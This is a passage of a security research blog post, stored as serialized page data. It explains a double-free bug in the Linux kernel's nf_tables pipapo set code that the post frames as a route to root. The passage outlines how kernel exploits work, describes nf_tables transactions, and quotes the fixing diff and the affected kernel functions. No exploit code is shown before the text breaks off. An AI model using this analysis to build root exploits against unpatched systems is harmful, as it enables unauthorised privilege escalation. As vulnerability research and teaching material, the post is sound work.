etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":149,"props":48103,"children":48106},{"alt":48104,"src":48105},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":48108,"children":48109},{},[48110],{"type":28,"value":48111},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":7092,"props":48113,"children":48115},{"id":48114},"kernel-exploitation",[48116],{"type":28,"value":48117},"Kernel exploitation",{"type":23,"tag":24,"props":48119,"children":48120},{},[48121],{"type":28,"value":48122},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":14178,"props":48124,"children":48125},{},[48126,48131,48136],{"type":23,"tag":77,"props":48127,"children":48128},{},[48129],{"type":28,"value":48130},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":77,"props":48132,"children":48133},{},[48134],{"type":28,"value":48135},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":77,"props":48137,"children":48138},{},[48139],{"type":28,"value":48140},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":48142,"children":48143},{},[48144,48146,48153],{"type":28,"value":48145},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":190,"props":48147,"children":48150},{"href":48148,"rel":48149},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[194],[48151],{"type":28,"value":48152},"blog post",{"type":28,"value":48154}," to become more familiar with the topic.",{"type":23,"tag":31,"props":48156,"children":48158},{"id":48157},"nf_tables",[48159],{"type":23,"tag":64,"props":48160,"children":48162},{"className":48161},[],[48163],{"type":28,"value":48157},{"type":23,"tag":24,"props":48165,"children":48166},{},[48167,48172,48174,48180,48181,48187,48189,48195],{"type":23,"tag":64,"props":48168,"children":48170},{"className":48169},[],[48171],{"type":28,"value":48157},{"type":28,"value":48173}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":190,"props":48175,"children":48178},{"href":48176,"rel":48177},"https://pwning.tech/nftables",[194],[48179],{"type":28,"value":1558},{"type":28,"value":588},{"type":23,"tag":190,"props":48182,"children":48185},{"href":48183,"rel":48184},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[194],[48186],{"type":28,"value":637},{"type":28,"value":48188},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":64,"props":48190,"children":48192},{"className":48191},[],[48193],{"type":28,"value":48194},"nf_table",{"type":28,"value":48196}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":48198,"children":48199},{},[48200],{"type":28,"value":48201},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":7092,"props":48203,"children":48205},{"id":48204},"transactions",[48206],{"type":28,"value":48207},"Transactions",{"type":23,"tag":24,"props":48209,"children":48210},{},[48211,48213,48218,48220,48225],{"type":28,"value":48212},"A transaction is an interaction that updates ",{"type":23,"tag":64,"props":48214,"children":48216},{"className":48215},[],[48217],{"type":28,"value":48157},{"type":28,"value":48219}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":64,"props":48221,"children":48223},{"className":48222},[],[48224],{"type":28,"value":48157},{"type":28,"value":48226}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":14178,"props":48228,"children":48229},{},[48230,48240,48250],{"type":23,"tag":77,"props":48231,"children":48232},{},[48233,48238],{"type":23,"tag":2875,"props":48234,"children":48235},{},[48236],{"type":28,"value":48237},"Control plane",{"type":28,"value":48239},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":77,"props":48241,"children":48242},{},[48243,48248],{"type":23,"tag":2875,"props":48244,"children":48245},{},[48246],{"type":28,"value":48247},"Commit path",{"type":28,"value":48249},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":77,"props":48251,"children":48252},{},[48253,48258],{"type":23,"tag":2875,"props":48254,"children":48255},{},[48256],{"type":28,"value":48257},"Abort path",{"type":28,"value":48259},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":31,"props":48261,"children":48263},{"id":48262},"vulnerability-details",[48264],{"type":28,"value":48265},"Vulnerability details",{"type":23,"tag":24,"props":48267,"children":48268},{},[48269,48271,48277],{"type":28,"value":48270},"Moving on, let's check out the ",{"type":23,"tag":190,"props":48272,"children":48275},{"href":48273,"rel":48274},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[194],[48276],{"type":28,"value":1773},{"type":28,"value":48278}," that fixed the bug.",{"type":23,"tag":435,"props":48280,"children":48282},{"className":37879,"code":48281,"language":37881,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n m = rcu_dereference_protected(priv->match, true);\n\n if (m) {\n rcu_barrier();\n \n- nft_set_pipapo_match_destroy(ctx, set, m);\n-\n for_each_possible_cpu(cpu)\n pipapo_free_scratch(m, cpu);\n free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n if (priv->clone) {\n m = priv->clone;\n \n- if (priv->dirty)\n- nft_set_pipapo_match_destroy(ctx, set, m);\n+ nft_set_pipapo_match_destroy(ctx, set, m);\n \n for_each_possible_cpu(cpu)\n pipapo_free_scratch(priv->clone, cpu);\n",[48283],{"type":23,"tag":64,"props":48284,"children":48285},{"__ignoreMap":7},[48286,48294,48302,48310,48318,48326,48333,48341,48348,48356,48364,48372,48380,48388,48396,48404,48412,48420,48428,48436,48443,48451,48459,48467,48474,48481],{"type":23,"tag":481,"props":48287,"children":48288},{"class":483,"line":484},[48289],{"type":23,"tag":481,"props":48290,"children":48291},{"style":497},[48292],{"type":28,"value":48293},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":481,"props":48295,"children":48296},{"class":483,"line":351},[48297],{"type":23,"tag":481,"props":48298,"children":48299},{"style":525},[48300],{"type":28,"value":48301},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":481,"props":48303,"children":48304},{"class":483,"line":531},[48305],{"type":23,"tag":481,"props":48306,"children":48307},{"style":497},[48308],{"type":28,"value":48309},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":481,"props":48311,"children":48312},{"class":483,"line":567},[48313],{"type":23,"tag":481,"props":48314,"children":48315},{"style":497},[48316],{"type":28,"value":48317},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":481,"props":48319,"children":48320},{"class":483,"line":678},[48321],{"type":23,"tag":481,"props":48322,"children":48323},{"style":525},[48324],{"type":28,"value":48325},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":481,"props":48327,"children":48328},{"class":483,"line":784},[48329],{"type":23,"tag":481,"props":48330,"children":48331},{"emptyLinePlaceholder":15},[48332],{"type":28,"value":1210},{"type":23,"tag":481,"props":48334,"children":48335},{"class":483,"line":812},[48336],{"type":23,"tag":481,"props":48337,"children":48338},{"style":525},[48339],{"type":28,"value":48340}," m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":481,"props":48342,"children":48343},{"class":483,"line":825},[48344],{"type":23,"tag":481,"props":48345,"children":48346},{"emptyLinePlaceholder":15},[48347],{"type":28,"value":1210},{"type":23,"tag":481,"props":48349,"children":48350},{"class":483,"line":843},[48351],{"type":23,"tag":481,"props":48352,"children":48353},{"style":525},[48354],{"type":28,"value":48355}," if (m) {\n",{"type":23,"tag":481,"props":48357,"children":48358},{"class":483,"line":864},[48359],{"type":23,"tag":481,"props":48360,"children":48361},{"style":525},[48362],{"type":28,"value":48363}," rcu_barrier();\n",{"type":23,"tag":481,"props":48365,"children":48366},{"class":483,"line":873},[48367],{"type":23,"tag":481,"props":48368,"children":48369},{"style":525},[48370],{"type":28,"value":48371}," \n",{"type":23,"tag":481,"props":48373,"children":48374},{"class":483,"line":1125},[48375],{"type":23,"tag":481,"props":48376,"children":48377},{"style":1805},[48378],{"type":28,"value":48379},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":481,"props":48381,"children":48382},{"class":483,"line":1142},[48383],{"type":23,"tag":481,"props":48384,"children":48385},{"style":1805},[48386],{"type":28,"value":48387},"-\n",{"type":23,"tag":481,"props":48389,"children":48390},{"class":483,"line":1159},[48391],{"type":23,"tag":481,"props":48392,"children":48393},{"style":525},[48394],{"type":28,"value":48395}," for_each_possible_cpu(cpu)\n",{"type":23,"tag":481,"props":48397,"children":48398},{"class":483,"line":1172},[48399],{"type":23,"tag":481,"props":48400,"children":48401},{"style":525},[48402],{"type":28,"value":48403}," pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":481,"props":48405,"children":48406},{"class":483,"line":1181},[48407],{"type":23,"tag":481,"props":48408,"children":48409},{"style":525},[48410],{"type":28,"value":48411}," free_percpu(m->scratch);\n",{"type":23,"tag":481,"props":48413,"children":48414},{"class":483,"line":1204},[48415],{"type":23,"tag":481,"props":48416,"children":48417},{"style":525},[48418],{"type":28,"value":48419},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":481,"props":48421,"children":48422},{"class":483,"line":1213},[48423],{"type":23,"tag":481,"props":48424,"children":48425},{"style":525},[48426],{"type":28,"value":48427}," if (priv->clone) {\n",{"type":23,"tag":481,"props":48429,"children":48430},{"class":483,"line":1222},[48431],{"type":23,"tag":481,"props":48432,"children":48433},{"style":525},[48434],{"type":28,"value":48435}," m = priv->clone;\n",{"type":23,"tag":481,"props":48437,"children":48438},{"class":483,"line":1291},[48439],{"type":23,"tag":481,"props":48440,"children":48441},{"style":525},[48442],{"type":28,"value":48371},{"type":23,"tag":481,"props":48444,"children":48445},{"class":483,"line":1299},[48446],{"type":23,"tag":481,"props":48447,"children":48448},{"style":1805},[48449],{"type":28,"value":48450},"- if (priv->dirty)\n",{"type":23,"tag":481,"props":48452,"children":48453},{"class":483,"line":1329},[48454],{"type":23,"tag":481,"props":48455,"children":48456},{"style":1805},[48457],{"type":28,"value":48458},"- nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":481,"props":48460,"children":48461},{"class":483,"line":1337},[48462],{"type":23,"tag":481,"props":48463,"children":48464},{"style":551},[48465],{"type":28,"value":48466},"+ nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":481,"props":48468,"children":48469},{"class":483,"line":1369},[48470],{"type":23,"tag":481,"props":48471,"children":48472},{"style":525},[48473],{"type":28,"value":48371},{"type":23,"tag":481,"props":48475,"children":48476},{"class":483,"line":1377},[48477],{"type":23,"tag":481,"props":48478,"children":48479},{"style":525},[48480],{"type":28,"value":48395},{"type":23,"tag":481,"props":48482,"children":48483},{"class":483,"line":1437},[48484],{"type":23,"tag":481,"props":48485,"children":48486},{"style":525},[48487],{"type":28,"value":48488}," pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":48490,"children":48491},{},[48492,48494,48500,48501,48507,48509,48515,48517,48523,48525,48530,48532,48538,48540,48546,48548,48554],{"type":28,"value":48493},"If the ",{"type":23,"tag":64,"props":48495,"children":48497},{"className":48496},[],[48498],{"type":28,"value":48499},"priv->dirty",{"type":28,"value":8478},{"type":23,"tag":64,"props":48502,"children":48504},{"className":48503},[],[48505],{"type":28,"value":48506},"priv->clone",{"type":28,"value":48508}," variables are set, ",{"type":23,"tag":64,"props":48510,"children":48512},{"className":48511},[],[48513],{"type":28,"value":48514},"nft_set_pipapo_match_destroy()",{"type":28,"value":48516}," is called twice, once with ",{"type":23,"tag":64,"props":48518,"children":48520},{"className":48519},[],[48521],{"type":28,"value":48522},"priv->match",{"type":28,"value":48524}," as an argument, and then again with ",{"type":23,"tag":64,"props":48526,"children":48528},{"className":48527},[],[48529],{"type":28,"value":48506},{"type":28,"value":48531},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":64,"props":48533,"children":48535},{"className":48534},[],[48536],{"type":28,"value":48537},"setelem",{"type":28,"value":48539},"s of the ",{"type":23,"tag":64,"props":48541,"children":48543},{"className":48542},[],[48544],{"type":28,"value":48545},"set",{"type":28,"value":48547}," and calling ",{"type":23,"tag":64,"props":48549,"children":48551},{"className":48550},[],[48552],{"type":28,"value":48553},"nf_tables_set_elem_destroy()",{"type":28,"value":48555}," for each of them.",{"type":23,"tag":435,"props":48557,"children":48559},{"className":14005,"code":48558,"language":661,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n ;\n\n for (r = 0; r \u003C f->rules; r++) {\n struct nft_pipapo_elem *e;\n\n if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n continue;\n\n e = f->mt[r].e;\n\n nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[48560],{"type":23,"tag":64,"props":48561,"children":48562},{"__ignoreMap":7},[48563,48610,48638,48664,48671,48692,48705,48712,48809,48817,48824,48879,48900,48907,49010,49022,49029,49065,49072,49106,49113],{"type":23,"tag":481,"props":48564,"children":48565},{"class":483,"line":484},[48566,48571,48576,48581,48585,48589,48593,48598,48602,48606],{"type":23,"tag":481,"props":48567,"children":48568},{"style":497},[48569],{"type":28,"value":48570},"static",{"type":23,"tag":481,"props":48572,"children":48573},{"style":497},[48574],{"type":28,"value":48575}," void",{"type":23,"tag":481,"props":48577,"children":48578},{"style":610},[48579],{"type":28,"value":48580}," nft_set_pipapo_match_destroy",{"type":23,"tag":481,"props":48582,"children":48583},{"style":525},[48584],{"type":28,"value":618},{"type":23,"tag":481,"props":48586,"children":48587},{"style":497},[48588],{"type":28,"value":7139},{"type":23,"tag":481,"props":48590,"children":48591},{"style":497},[48592],{"type":28,"value":18649},{"type":23,"tag":481,"props":48594,"children":48595},{"style":525},[48596],{"type":28,"value":48597}," nft_ctx ",{"type":23,"tag":481,"props":48599,"children":48600},{"style":514},[48601],{"type":28,"value":2120},{"type":23,"tag":481,"props":48603,"children":48604},{"style":508},[48605],{"type":28,"value":17778},{"type":23,"tag":481,"props":48607,"children":48608},{"style":525},[48609],{"type":28,"value":1033},{"type":23,"tag":481,"props":48611,"children":48612},{"class":483,"line":351},[48613,48617,48621,48626,48630,48634],{"type":23,"tag":481,"props":48614,"children":48615},{"style":497},[48616],{"type":28,"value":29062},{"type":23,"tag":481,"props":48618,"children":48619},{"style":497},[48620],{"type":28,"value":18649},{"type":23,"tag":481,"props":48622,"children":48623},{"style":525},[48624],{"type":28,"value":48625}," nft_set ",{"type":23,"tag":481,"props":48627,"children":48628},{"style":514},[48629],{"type":28,"value":2120},{"type":23,"tag":481,"props":48631,"children":48632},{"style":508},[48633],{"type":28,"value":48545},{"type":23,"tag":481,"props":48635,"children":48636},{"style":525},[48637],{"type":28,"value":1033},{"type":23,"tag":481,"props":48639,"children":48640},{"class":483,"line":531},[48641,48646,48651,48655,48660],{"type":23,"tag":481,"props":48642,"children":48643},{"style":497},[48644],{"type":28,"value":48645}," struct",{"type":23,"tag":481,"props":48647,"children":48648},{"style":525},[48649],{"type":28,"value":48650}," nft_pipapo_match ",{"type":23,"tag":481,"props":48652,"children":48653},{"style":514},[48654],{"type":28,"value":2120},{"type":23,"tag":481,"props":48656,"children":48657},{"style":508},[48658],{"type":28,"value":48659},"m",{"type":23,"tag":481,"props":48661,"children":48662},{"style":525},[48663],{"type":28,"value":675},{"type":23,"tag":481,"props":48665,"children":48666},{"class":483,"line":567},[48667],{"type":23,"tag":481,"props":48668,"children":48669},{"style":525},[48670],{"type":28,"value":8366},{"type":23,"tag":481,"props":48672,"children":48673},{"class":483,"line":678},[48674,48678,48683,48687],{"type":23,"tag":481,"props":48675,"children":48676},{"style":497},[48677],{"type":28,"value":18649},{"type":23,"tag":481,"props":48679,"children":48680},{"style":525},[48681],{"type":28,"value":48682}," nft_pipapo_field ",{"type":23,"tag":481,"props":48684,"children":48685},{"style":514},[48686],{"type":28,"value":2120},{"type":23,"tag":481,"props":48688,"children":48689},{"style":525},[48690],{"type":28,"value":48691},"f;\n",{"type":23,"tag":481,"props":48693,"children":48694},{"class":483,"line":784},[48695,48700],{"type":23,"tag":481,"props":48696,"children":48697},{"style":497},[48698],{"type":28,"value":48699}," int",{"type":23,"tag":481,"props":48701,"children":48702},{"style":525},[48703],{"type":28,"value":48704}," i, r;\n",{"type":23,"tag":481,"props":48706,"children":48707},{"class":483,"line":812},[48708],{"type":23,"tag":481,"props":48709,"children":48710},{"emptyLinePlaceholder":15},[48711],{"type":28,"value":1210},{"type":23,"tag":481,"props":48713,"children":48714},{"class":483,"line":825},[48715,48720,48725,48729,48733,48738,48742,48747,48751,48755,48760,48764,48768,48772,48777,48782,48786,48791,48796,48801,48805],{"type":23,"tag":481,"props":48716,"children":48717},{"style":535},[48718],{"type":28,"value":48719}," for",{"type":23,"tag":481,"props":48721,"children":48722},{"style":525},[48723],{"type":28,"value":48724}," (i ",{"type":23,"tag":481,"props":48726,"children":48727},{"style":514},[48728],{"type":28,"value":603},{"type":23,"tag":481,"props":48730,"children":48731},{"style":551},[48732],{"type":28,"value":554},{"type":23,"tag":481,"props":48734,"children":48735},{"style":525},[48736],{"type":28,"value":48737},", f ",{"type":23,"tag":481,"props":48739,"children":48740},{"style":514},[48741],{"type":28,"value":603},{"type":23,"tag":481,"props":48743,"children":48744},{"style":508},[48745],{"type":28,"value":48746}," m",{"type":23,"tag":481,"props":48748,"children":48749},{"style":525},[48750],{"type":28,"value":11245},{"type":23,"tag":481,"props":48752,"children":48753},{"style":508},[48754],{"type":28,"value":30601},{"type":23,"tag":481,"props":48756,"children":48757},{"style":525},[48758],{"type":28,"value":48759},"; i ",{"type":23,"tag":481,"props":48761,"children":48762},{"style":514},[48763],{"type":28,"value":3282},{"type":23,"tag":481,"props":48765,"children":48766},{"style":508},[48767],{"type":28,"value":48746},{"type":23,"tag":481,"props":48769,"children":48770},{"style":525},[48771],{"type":28,"value":11245},{"type":23,"tag":481,"props":48773,"children":48774},{"style":508},[48775],{"type":28,"value":48776},"field_count",{"type":23,"tag":481,"props":48778,"children":48779},{"style":514},[48780],{"type":28,"value":48781}," -",{"type":23,"tag":481,"props":48783,"children":48784},{"style":551},[48785],{"type":28,"value":2072},{"type":23,"tag":481,"props":48787,"children":48788},{"style":525},[48789],{"type":28,"value":48790},"; i",{"type":23,"tag":481,"props":48792,"children":48793},{"style":514},[48794],{"type":28,"value":48795},"++",{"type":23,"tag":481,"props":48797,"children":48798},{"style":525},[48799],{"type":28,"value":48800},", f",{"type":23,"tag":481,"props":48802,"children":48803},{"style":514},[48804],{"type":28,"value":48795},{"type":23,"tag":481,"props":48806,"children":48807},{"style":525},[48808],{"type":28,"value":675},{"type":23,"tag":481,"props":48810,"children":48811},{"class":483,"line":843},[48812],{"type":23,"tag":481,"props":48813,"children":48814},{"style":525},[48815],{"type":28,"value":48816}," ;\n",{"type":23,"tag":481,"props":48818,"children":48819},{"class":483,"line":864},[48820],{"type":23,"tag":481,"props":48821,"children":48822},{"emptyLinePlaceholder":15},[48823],{"type":28,"value":1210},{"type":23,"tag":481,"props":48825,"children":48826},{"class":483,"line":873},[48827,48831,48836,48840,48844,48849,48853,48857,48861,48866,48871,48875],{"type":23,"tag":481,"props":48828,"children":48829},{"style":535},[48830],{"type":28,"value":48719},{"type":23,"tag":481,"props":48832,"children":48833},{"style":525},[48834],{"type":28,"value":48835}," (r ",{"type":23,"tag":481,"props":48837,"children":48838},{"style":514},[48839],{"type":28,"value":603},{"type":23,"tag":481,"props":48841,"children":48842},{"style":551},[48843],{"type":28,"value":554},{"type":23,"tag":481,"props":48845,"children":48846},{"style":525},[48847],{"type":28,"value":48848},"; r ",{"type":23,"tag":481,"props":48850,"children":48851},{"style":514},[48852],{"type":28,"value":3282},{"type":23,"tag":481,"props":48854,"children":48855},{"style":508},[48856],{"type":28,"value":30487},{"type":23,"tag":481,"props":48858,"children":48859},{"style":525},[48860],{"type":28,"value":11245},{"type":23,"tag":481,"props":48862,"children":48863},{"style":508},[48864],{"type":28,"value":48865},"rules",{"type":23,"tag":481,"props":48867,"children":48868},{"style":525},[48869],{"type":28,"value":48870},"; r",{"type":23,"tag":481,"props":48872,"children":48873},{"style":514},[48874],{"type":28,"value":48795},{"type":23,"tag":481,"props":48876,"children":48877},{"style":525},[48878],{"type":28,"value":12292},{"type":23,"tag":481,"props":48880,"children":48881},{"class":483,"line":1125},[48882,48886,48891,48895],{"type":23,"tag":481,"props":48883,"children":48884},{"style":497},[48885],{"type":28,"value":3272},{"type":23,"tag":481,"props":48887,"children":48888},{"style":525},[48889],{"type":28,"value":48890}," nft_pipapo_elem ",{"type":23,"tag":481,"props":48892,"children":48893},{"style":514},[48894],{"type":28,"value":2120},{"type":23,"tag":481,"props":48896,"children":48897},{"style":525},[48898],{"type":28,"value":48899},"e;\n",{"type":23,"tag":481,"props":48901,"children":48902},{"class":483,"line":1142},[48903],{"type":23,"tag":481,"props":48904,"children":48905},{"emptyLinePlaceholder":15},[48906],{"type":28,"value":1210},{"type":23,"tag":481,"props":48908,"children":48909},{"class":483,"line":1159},[48910,48914,48918,48922,48926,48930,48934,48938,48942,48946,48950,48954,48959,48964,48968,48972,48976,48981,48985,48989,48993,48997,49002,49006],{"type":23,"tag":481,"props":48911,"children":48912},{"style":535},[48913],{"type":28,"value":28909},{"type":23,"tag":481,"props":48915,"children":48916},{"style":525},[48917],{"type":28,"value":48835},{"type":23,"tag":481,"props":48919,"children":48920},{"style":514},[48921],{"type":28,"value":3282},{"type":23,"tag":481,"props":48923,"children":48924},{"style":508},[48925],{"type":28,"value":30487},{"type":23,"tag":481,"props":48927,"children":48928},{"style":525},[48929],{"type":28,"value":11245},{"type":23,"tag":481,"props":48931,"children":48932},{"style":508},[48933],{"type":28,"value":48865},{"type":23,"tag":481,"props":48935,"children":48936},{"style":514},[48937],{"type":28,"value":48781},{"type":23,"tag":481,"props":48939,"children":48940},{"style":551},[48941],{"type":28,"value":2072},{"type":23,"tag":481,"props":48943,"children":48944},{"style":514},[48945],{"type":28,"value":11673},{"type":23,"tag":481,"props":48947,"children":48948},{"style":508},[48949],{"type":28,"value":30487},{"type":23,"tag":481,"props":48951,"children":48952},{"style":525},[48953],{"type":28,"value":11245},{"type":23,"tag":481,"props":48955,"children":48956},{"style":508},[48957],{"type":28,"value":48958},"mt",{"type":23,"tag":481,"props":48960,"children":48961},{"style":525},[48962],{"type":28,"value":48963},"[r ",{"type":23,"tag":481,"props":48965,"children":48966},{"style":514},[48967],{"type":28,"value":1930},{"type":23,"tag":481,"props":48969,"children":48970},{"style":551},[48971],{"type":28,"value":2072},{"type":23,"tag":481,"props":48973,"children":48974},{"style":525},[48975],{"type":28,"value":47874},{"type":23,"tag":481,"props":48977,"children":48978},{"style":508},[48979],{"type":28,"value":48980},"e",{"type":23,"tag":481,"props":48982,"children":48983},{"style":514},[48984],{"type":28,"value":800},{"type":23,"tag":481,"props":48986,"children":48987},{"style":508},[48988],{"type":28,"value":30487},{"type":23,"tag":481,"props":48990,"children":48991},{"style":525},[48992],{"type":28,"value":11245},{"type":23,"tag":481,"props":48994,"children":48995},{"style":508},[48996],{"type":28,"value":48958},{"type":23,"tag":481,"props":48998,"children":48999},{"style":525},[49000],{"type":28,"value":49001},"[r].",{"type":23,"tag":481,"props":49003,"children":49004},{"style":508},[49005],{"type":28,"value":48980},{"type":23,"tag":481,"props":49007,"children":49008},{"style":525},[49009],{"type":28,"value":675},{"type":23,"tag":481,"props":49011,"children":49012},{"class":483,"line":1172},[49013,49018],{"type":23,"tag":481,"props":49014,"children":49015},{"style":535},[49016],{"type":28,"value":49017}," continue",{"type":23,"tag":481,"props":49019,"children":49020},{"style":525},[49021],{"type":28,"value":528},{"type":23,"tag":481,"props":49023,"children":49024},{"class":483,"line":1181},[49025],{"type":23,"tag":481,"props":49026,"children":49027},{"emptyLinePlaceholder":15},[49028],{"type":28,"value":1210},{"type":23,"tag":481,"props":49030,"children":49031},{"class":483,"line":1204},[49032,49037,49041,49045,49049,49053,49057,49061],{"type":23,"tag":481,"props":49033,"children":49034},{"style":525},[49035],{"type":28,"value":49036}," e ",{"type":23,"tag":481,"props":49038,"children":49039},{"style":514},[49040],{"type":28,"value":603},{"type":23,"tag":481,"props":49042,"children":49043},{"style":508},[49044],{"type":28,"value":30487},{"type":23,"tag":481,"props":49046,"children":49047},{"style":525},[49048],{"type":28,"value":11245},{"type":23,"tag":481,"props":49050,"children":49051},{"style":508},[49052],{"type":28,"value":48958},{"type":23,"tag":481,"props":49054,"children":49055},{"style":525},[49056],{"type":28,"value":49001},{"type":23,"tag":481,"props":49058,"children":49059},{"style":508},[49060],{"type":28,"value":48980},{"type":23,"tag":481,"props":49062,"children":49063},{"style":525},[49064],{"type":28,"value":528},{"type":23,"tag":481,"props":49066,"children":49067},{"class":483,"line":1213},[49068],{"type":23,"tag":481,"props":49069,"children":49070},{"emptyLinePlaceholder":15},[49071],{"type":28,"value":1210},{"type":23,"tag":481,"props":49073,"children":49074},{"class":483,"line":1222},[49075,49080,49085,49089,49093,49097,49102],{"type":23,"tag":481,"props":49076,"children":49077},{"style":610},[49078],{"type":28,"value":49079}," nf_tables_set_elem_destroy",{"type":23,"tag":481,"props":49081,"children":49082},{"style":525},[49083],{"type":28,"value":49084},"(ctx, set, ",{"type":23,"tag":481,"props":49086,"children":49087},{"style":514},[49088],{"type":28,"value":623},{"type":23,"tag":481,"props":49090,"children":49091},{"style":508},[49092],{"type":28,"value":48980},{"type":23,"tag":481,"props":49094,"children":49095},{"style":525},[49096],{"type":28,"value":11245},{"type":23,"tag":481,"props":49098,"children":49099},{"style":508},[49100],{"type":28,"value":49101},"priv",{"type":23,"tag":481,"props":49103,"children":49104},{"style":525},[49105],{"type":28,"value":1366},{"type":23,"tag":481,"props":49107,"children":49108},{"class":483,"line":1291},[49109],{"type":23,"tag":481,"props":49110,"children":49111},{"style":525},[49112],{"type":28,"value":7079},{"type":23,"tag":481,"props":49114,"children":49115},{"class":483,"line":1299},[49116],{"type":23,"tag":481,"props":49117,"children":49118},{"style":525},[49119],{"type":28,"value":1443},{"type":23,"tag":24,"props":49121,"children":49122},{},[49123,49125,49131,49133,49138],{"type":28,"value":49124},"Which will then ",{"type":23,"tag":64,"props":49126,"children":49128},{"className":49127},[],[49129],{"type":28,"value":49130},"kfree()",{"type":28,"value":49132}," the ",{"type":23,"tag":64,"props":49134,"children":49136},{"className":49135},[],[49137],{"type":28,"value":48537},{"type":28,"value":199},{"type":23,"tag":435,"props":49140,"children":49142},{"className":14005,"code":49141,"language":661,"meta":7,"style":7},"void nf_tables_set_elem_destroy(const struct nft_ctx *ctx,\n const struct nft_set *set,\n const struct nft_elem_priv *elem_priv)\n{\n struct nft_set_ext *ext = nft_set_elem_ext(set, elem_priv);\n\n if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPRESSIONS))\n nft_set_elem_expr_destroy(ctx, nft_set_ext_expr(ext));\n\n kfree(elem_priv);\n}\n",[49143],{"type":23,"tag":64,"props":49144,"children":49145},{"__ignoreMap":7},[49146,49187,49215,49244,49251,49286,49293,49314,49337,49344,49357],{"type":23,"tag":481,"props":49147,"children":49148},{"class":483,"line":484},[49149,49154,49159,49163,49167,49171,49175,49179,49183],{"type":23,"tag":481,"props":49150,"children":49151},{"style":497},[49152],{"type":28,"value":49153},"void",{"type":23,"tag":481,"props":49155,"children":49156},{"style":610},[49157],{"type":28,"value":49158}," nf_tables_set_elem_destroy",{"type":23,"tag":481,"props":49160,"children":49161},{"style":525},[49162],{"type":28,"value":618},{"type":23,"tag":481,"props":49164,"children":49165},{"style":497},[49166],{"type":28,"value":7139},{"type":23,"tag":481,"props":49168,"children":49169},{"style":497},[49170],{"type":28,"value":18649},{"type":23,"tag":481,"props":49172,"children":49173},{"style":525},[49174],{"type":28,"value":48597},{"type":23,"tag":481,"props":49176,"children":49177},{"style":514},[49178],{"type":28,"value":2120},{"type":23,"tag":481,"props":49180,"children":49181},{"style":508},[49182],{"type":28,"value":17778},{"type":23,"tag":481,"props":49184,"children":49185},{"style":525},[49186],{"type":28,"value":1033},{"type":23,"tag":481,"props":49188,"children":49189},{"class":483,"line":351},[49190,49195,49199,49203,49207,49211],{"type":23,"tag":481,"props":49191,"children":49192},{"style":497},[49193],{"type":28,"value":49194}," 